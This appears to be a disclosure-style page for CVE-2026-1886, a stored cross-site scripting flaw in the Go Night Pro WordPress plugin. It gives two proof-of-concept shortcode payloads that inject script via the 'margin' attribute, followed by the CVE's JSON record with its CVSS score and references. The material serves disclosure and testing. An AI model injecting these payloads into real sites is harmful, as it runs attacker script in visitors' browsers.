CVE-2026-1886

// PoC for CVE-2026-1886 // Inject the following shortcode into a WordPress post/page (Contributor+ access) // Payload 1: CSS Injection Vector using javascript: protocol [go-night-pro-shortcode margin='10px; background: url(javascript:alert(1))'] // Payload 2: Breaking out of the HTML attribute context [go-night-pro-shortcode margin="10px" onmouseover="alert('CVE-2026-1886')"]

{"cve": {"id": "CVE-2026-1886", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:55.523", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Go Night Pro | WordPress Dark Mode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'go-night-pro-shortcode' shortcode in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping on the user-supplied 'margin' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Go Night Pro | WordPress Dark Mode para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'go-night-pro-shortcode' del plugin en todas las versiones hasta la 1.1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en el atributo 'margin' proporcionado por el usuario. Esto permite a atacantes autenticados, con acceso de nivel de colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/go-night-pro/tags/1.1.0/admin/partials/shortcode/go-night-shortcode-display.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/go-night-pro/tags/1.1.0/admin/partials/shortcode/go-night-shortcode-display.php#L61", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/go-night-pro/trunk/admin/partials/shortcode/go-night-shortcode-display.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/go-night-pro/trunk/admin/partials/shortcode/go-night-shortcode-display.php#L61", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4a75444e-b1e4-41e0-9209-07ded65c1498?source=cve", "source": "[email protected]"}]}}